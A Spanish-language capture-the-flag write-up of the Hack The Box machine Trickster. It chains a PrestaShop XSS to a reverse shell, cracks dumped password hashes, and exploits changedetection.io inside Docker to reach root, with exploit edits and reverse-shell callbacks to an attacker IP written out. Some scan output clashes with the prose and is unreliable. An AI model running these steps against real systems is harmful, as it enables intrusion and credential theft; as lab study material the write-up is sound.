Descripción
Trickster es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Cross-Site-Scripting en la aplicación PrestaShop que lleva a la ejecución de código remoto
- Pivote de usuario al recuperar la contraseña del usuario desde la base de datos MySQL de PrestaShop
- Descubrimiento y redirección hacia un puerto local de la aplicación changedetection.io dentro de Docker
- Ejecución de código remoto en la aplicación changedetection.io de Docker
- Escalada de privilegios a través de una filtración de contraseña en el historial del Bash del contenedor
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.80.146.
$ ping -c 3 10.129.80.146
PING 10.129.80.146 (10.129.80.146) 56(84) bytes of data.
64 bytes from 10.129.80.146: icmp_seq=1 ttl=63 time=53.4 ms
64 bytes from 10.129.80.146: icmp_seq=2 ttl=63 time=182 ms
64 bytes from 10.129.80.146: icmp_seq=3 ttl=63 time=156 ms
--- 10.129.80.146 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 53.412/130.232/181.569/55.336 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.80.146 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.80.146
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1402.64 seconds
Encontramos dos puertos abiertos: 22 y 80.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.80.146 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.80.146
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 d5:4f:62:39:7b:d2:22:f0:a8:8a:d9:90:35:60:56:88 (ECDSA)
|_ 256 fb:67:b0:60:52:f2:12:7e:6c:13:fb:75:f2:bb:1a:ca (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_ 256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.75 seconds
Encontramos dos servicios: un Secure Shell (SSH) y otro Hypertext Transfer Protocol (HTTP). Dado que no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Podemos ver que el servicio HTTP se redirecciona a trickster.htb. Por lo tanto, agregamos esta dirección a la archivo /etc/hosts.
$ echo "10.129.80.146 trickster.htb" | sudo tee -a /etc/hosts
En la página principal tenemos un enlace a la subdominio de la tienda, así que lo agregamos al archivo hosts.
$ echo "10.129.80.146 shop.trickster.htb" | sudo tee -a /etc/hosts
Encontramos el gestor de contenidos PrestaShop, pero no podemos encontrar la versión utilizada en el sitio web.
Para encontrar la versión utilizada, vamos a comprobar la fecha de última modificación de un recurso del sitio web, por ejemplo, un archivo JavaScript en http://shop.trickster.htb/themes/core.js. Vamos a realizar una petición HTTP y verificar el encabezado Last-Modified.
$ curl -v http://shop.trickster.htb/themes/core.js
* Host shop.trickster.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.80.146
* Trying 10.129.80.146:80...
* Connected to shop.trickster.htb (10.129.80.146) port 80
> GET /themes/core.js HTTP/1.1
> Host: shop.trickster.htb
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: Apache/2.4.52 (Ubuntu)
< Last-Modified: Fri, 08 Mar 2024 12:56:33 GMT
< ETag: "230e8-61325b8a80240"
< Accept-Ranges: bytes
< Content-Length: 143592
< Vary: Accept-Encoding
< Content-Type: text/javascript
<
La fecha de modificación del archivo core.js es la del Fri, 08 Mar 2024 12:56:33 GMT. Al revisar las versiones liberadas por el equipo de PrestaShop, podemos concluir que la versión utilizada es la 8.1.5. Esta versión es vulnerable a una vulnerabilidad de cross-site scripting (XSS) que solo afecta Prestashops con la característica de característica de hilos de conversación de clientes habilitados, CVE-2024-34716. Al enumerar podemos encontrar el repositorio Git del servidor en la carpeta /.git, por lo que descargamos el repositorio utilizando git-dumper.
$ git-dumper http://shop.trickster.htb/.git/ git_repo
$ cd git-repo
Encontramos que el panel de administración está ubicado en el directorio http://shop.trickster.htb/admin634ewutrx1jgitlooaj. Confirmamos la versión usada 8.1.5.
$ ls
admin634ewutrx1jgitlooaj autoload.php error500.html index.php init.php Install_PrestaShop.html INSTALL.txt LICENSES Makefile

Explotación
Tenemos una prueba de concepto de la vulnerabilidad XSS proporcionada por Ayoub ELMOKHTAR. Podremos utilizar esta vulnerabilidad para escalarla a la ejecución de código remoto. La vulnerabilidad consiste en que la característica de adjuntar archivos en el formulario de contacto del sitio web es vulnerable a XSS, lo que permite subir un tema personalizado al servidor que contiene un archivo PHP que habilitará una terminal inversa. Empezaremos clonando el repositorio de la prueba de concepto.
$ git clone https://github.com/aelmokhtar/CVE-2024-34716
$ cd CVE-2024-34716
Luego editaremos el archivo exploit.html con los siguientes cambios para modificar la URL del sitio web de PrestaShop y el servidor en el que descargar el tema comprimido.
DE:
const url = 'http://prestashop:8000/admin-dev/index.php/improve/design/themes/import';
A:
const url = '/admin634ewutrx1jgitlooaj/index.php/improve/design/themes/import';
DE:
const csrfUrl = `http://prestashop:8000/admin-dev/index.php/improve/design/themes/import?_token=${token}`;
A:
const csrfUrl = `/admin634ewutrx1jgitlooaj/index.php/improve/design/themes/import?_token=${token}`;
DE:
formData.append('import_theme[import_from_web]', 'http://172.16.27.179:81/ps_next_8_theme_malicious.zip');
A:
formData.append('import_theme[import_from_web]', 'http://10.10.14.36/ps_next_8_theme_malicious.zip');
DE:
const postUrl = `/admin-dev/index.php/improve/design/themes/import?_token=${locationHeaderToken}`;
A:
const postUrl = `/admin634ewutrx1jgitlooaj/index.php/improve/design/themes/import?_token=${locationHeaderToken}`;
Luego editaremos el archivo exploit.py con el nombre del archivo de la terminal inversa y cambiaremos la utilización de la herramienta ncat a la herramienta nc.
DE:
url = f"{host_url}/themes/next/reverse_shell.php"
A:
url = f"{host_url}/themes/next/a.php"
DE:
subprocess.call(["ncat", "-lnvp", "1234"], shell=False)
A:
subprocess.call(["nc", "-lnvp", "1234"], shell=False)
Luego editaremos el archivo reverse_shell.php cambiando la dirección IP a nuestra dirección.
DE:
$ip = '172.16.27.179'; // CHANGE THIS
A:
$ip = '10.10.14.36'; // CHANGE THIS
El paso final será descomprimiendo el archivo ZIP del tema para cambiar el archivo de la terminal inversa a.php por el nuestro.
$ unzip ps_next_8_theme_malicious.zip -d ps
$ cp reverse_shell.php ps/a.php
$ zip -r ../ps_next_8_theme_malicious.zip *
Ahora estamos listos para iniciar el servidor HTTP para alojar el archivo ZIP y empezar a escuchar en el puerto TCP.
$ python -m http.server 80
$ nc -nvlp 1234
Ejecutaremos el exploit, y después de unos minutos, recibiremos una terminal inversa como el usuario www-data.
$ python exploit.py
[?] Please enter the URL (e.g., http://shop.trickster.htb): http://shop.trickster.htb
[?] Please enter your email: user@trickster.htb
[?] Please enter your message: hello
[?] Please provide the path to your HTML file: exploit.html
[X] Yay! Your exploit was sent successfully!
[X] Once a CS agent clicks on attachement, you'll get a SHELL
listening on [any] 1234 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.80.146] 59484
Linux trickster 5.15.0-121-generic #131-Ubuntu SMP Fri Aug 9 08:29:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
21:54:01 up 9 min, 0 users, load average: 0.18, 0.12, 0.08
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
También recibirémos la solicitud en el servidor HTTP que descargue el archivo ZIP.
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.80.146 - "GET /ps_next_8_theme_malicious.zip HTTP/1.1" 200 -
Post-Explotación
Encontramos los usuarios de consola root, james y adam.
www-data@trickster:~/prestashop$ grep 'sh' /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
james:x:1000:1000:trickster:/home/james:/bin/bash
adam:x:1002:1002::/home/adam:/bin/bash
runner:x:1003:1003::/home/runner:/bin/sh
Encontramos las credenciales para acceder a la base de datos de PrestaShop en el archivo parameters.php ubicado en /var/www/prestashop/app/config/, con el usuario ps_user y la contraseña prestashop_o.
www-data@trickster:~$ cat /var/www/prestashop/app/config/parameters.php
<?php return array (
'parameters' =>
array (
'database_host' => '127.0.0.1',
'database_port' => '',
'database_name' => 'prestashop',
'database_user' => 'ps_user',
'database_password' => 'prest@shop_o',
'database_prefix' => 'ps_',
'database_engine' => 'InnoDB',
Podemos acceder a la base de datos y exportar la tabla que contiene los usuarios del aplicativo PrestaShop dentro de la base de datos prestashop, específicamente la tabla ps_employee y las columnas email y passwd.
www-data@trickster:~$ mysql -h 127.0.0.1 -u ps_user -p prestashop
...
MariaDB [prestashop]> select email,passwd from ps_employee;
+---------------------+--------------------------------------------------------------+
| email | passwd |
+---------------------+--------------------------------------------------------------+
| admin@trickster.htb | $2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/C |
| james@trickster.htb | $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm |
+---------------------+--------------------------------------------------------------+
2 rows in set (0.000 sec)
Recuperamos la contraseña del usuario james@trickster.htb utilizando el herramienta John The Ripper, y la contraseña recuperada es alwaysandforever.
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 16 to 1024
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alwaysandforever (james@trickster.htb)
La contraseña se reutiliza para el usuario james de Linux, por lo que podemos acceder a esta cuenta utilizando SSH.
$ su james
Password:
james@trickster:/tmp$ id
uid=1000(james) gid=1000(james) groups=1000(james)
Al enumerar los procesos encontramos el script de Python changedetection.py ejecutándose como el usuario root, y su proceso padre es containerd-shim-runc-v2, lo que nos permite afirmar que está ejecutándose dentro de un contenedor.
james@trickster:/tmp$ ps -ef
root 36556 1 0 00:00 ? 00:00:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id ae5c137aa8efc8eee17e3f5e2f93594b6bfc9ea2d7b350faba3
root 36577 36556 0 00:00 ? 00:00:05 python ./changedetection.py -d /datastore
Al enumerar las interfaces de red encontramos la interfaz docker0 con la dirección IP 172.17.0.1.
james@trickster:/tmp$ ip a
...
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:4d:58:d1:a3 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
...
Podemos suponer que el contenedor utilizará la dirección IP 172.17.0.2.
james@trickster:/tmp$ ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.050 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.050/0.050/0.050/0.000 ms
Changedetection.io es una aplicación web que se utiliza para monitorear sitios web por sus cambios. Por defecto se ejecuta en el puerto 5000, por lo que vamos a realizar un mapeado de puertos locales hacia nuestro localhost.
$ sshpass -p alwaysandforever ssh -N -L 127.0.0.1:5000:172.17.0.2:5000 james@trickster.htb
Al visitar la dirección http://127.0.0.1:5000, encontramos la aplicación web. Podemos acceder a la aplicación utilizando la contraseña de james, que es alwaysandforever.
Verificamos que la versión en ejecución es la 0.45.20. Esta versión es vulnerable a la ejecución de código remoto, con el identificador CVE-2024-32651, lo que nos permitirá ejecutar comandos como el usuario root dentro del contenedor. Tenemos un ejemplo de concepto de la vulnerabilidad proporcionado por zcrosman en Exploit-DB.
$ searchsploit -m 52027
Para permitir que el script funcione necesitamos deshabilitar la contraseña, para hacerlo iremos a la opción de Settings en la barra superior.
Luego haremos clic en el botón Remote password.
Antes de ejecutar el exploit, necesitamos modificarlo. Dado que no tenemos conexión a Internet dentro del contenedor, debemos cambiar las URLs del script. Reemplazaremos "https://reddit.com/r/baseball" por "http://127.0.0.1:5000" y "https://reddit.com/r/all" también por "http://127.0.0.1:5000". Luego ejecutaremos el exploit.
$ python 52027.py --url http://127.0.0.1:5000 --port 1234 --ip 10.10.14.36 --notification get://127.0.0.1:5000/notification
Obtained CSRF token: Ijg5NDExNDMzNDQwM2RhMjU5MGRlNjhmNTMzMTNmYTVmYjBlNTgwYzEi.Zu9myw.1NZNTBsZdYYlppqZU-La0ilO2Pk
Redirect URL: /edit/8a430dc7-4c3c-4a98-9f27-5730158cba05?unpause_on_save=1
Final request made.
[+] Trying to bind to :: on port 1234: Done
[+] Waiting for connections on :::1234: Got connection from ::ffff:10.129.80.146 on port 33952
Listening on port 1234...
Ahora refrescaremos la página del aplicativo web y obtendremos una consola como el usuario root dentro del contenedor.
Listening on port 1234...
Connection received!
[*] Switching to interactive mode
root@ae5c137aa8ef:/app# $ id
id
uid=0(root) gid=0(root) groups=0(root)
Al enumerar el contenedor encontramos una cadena, #YouC4ntCatchMe#, en el archivo /root/.bash_history, que podría ser una contraseña.
root@ae5c137aa8ef:/app# $ cat /root/.bash_history
cat /root/.bash_history
apt update
#YouC4ntCatchMe#
apt-get install libcap2-bin
...
Si regresamos a la máquina principal, podemos iniciar sesión con esta contraseña en el cuenta de root.
james@trickster:/tmp$ su root
Password:
root@trickster:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la consola de root, podemos recuperar las banderas del usuario y de la raíz.
root@trickster:/tmp# cat /home/james/user.txt
<REDACTED>
root@trickster:/tmp# cat /root/root.txt
<REDACTED>